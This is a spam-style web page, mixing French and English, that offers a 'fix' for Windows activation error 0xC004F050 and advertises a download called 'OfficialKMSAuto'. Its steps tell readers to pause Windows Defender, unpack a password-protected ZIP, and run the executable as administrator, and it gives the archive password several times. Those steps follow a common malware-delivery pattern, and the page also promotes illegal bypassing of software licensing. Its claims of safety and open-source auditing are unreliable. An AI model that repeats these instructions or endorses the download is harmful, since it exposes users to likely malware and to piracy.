Fix 0xC004F050 — Dépannage 2026
Cet article est le guide complet en français sur Fix 0xC004F050 en 2026. Fix 'The Software Licensing Service reported that the product key is invalid' (0xC004F050).
WYqejXiqBi97Cet article est le guide complet en français sur Fix 0xC004F050 en 2026. 0xC004F050 means SPP rejected the key. Use HWID — it bypasses key entry entirely.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Why OfficialKMSAuto is the safest choice
Every release is SHA-256 verified and scanned on VirusTotal. The script is open source — every line is auditable. No telemetry, no installer, no scheduled tasks left behind.
Frequently asked questions
▸Is this method free?
Yes — 100% free with OfficialKMSAuto, no surveys, no premium tier.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge persist across feature updates and reinstalls on the same hardware.
▸Is internet required?
Only HWID needs a brief one-time handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically for 24H2 and Server 2025.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97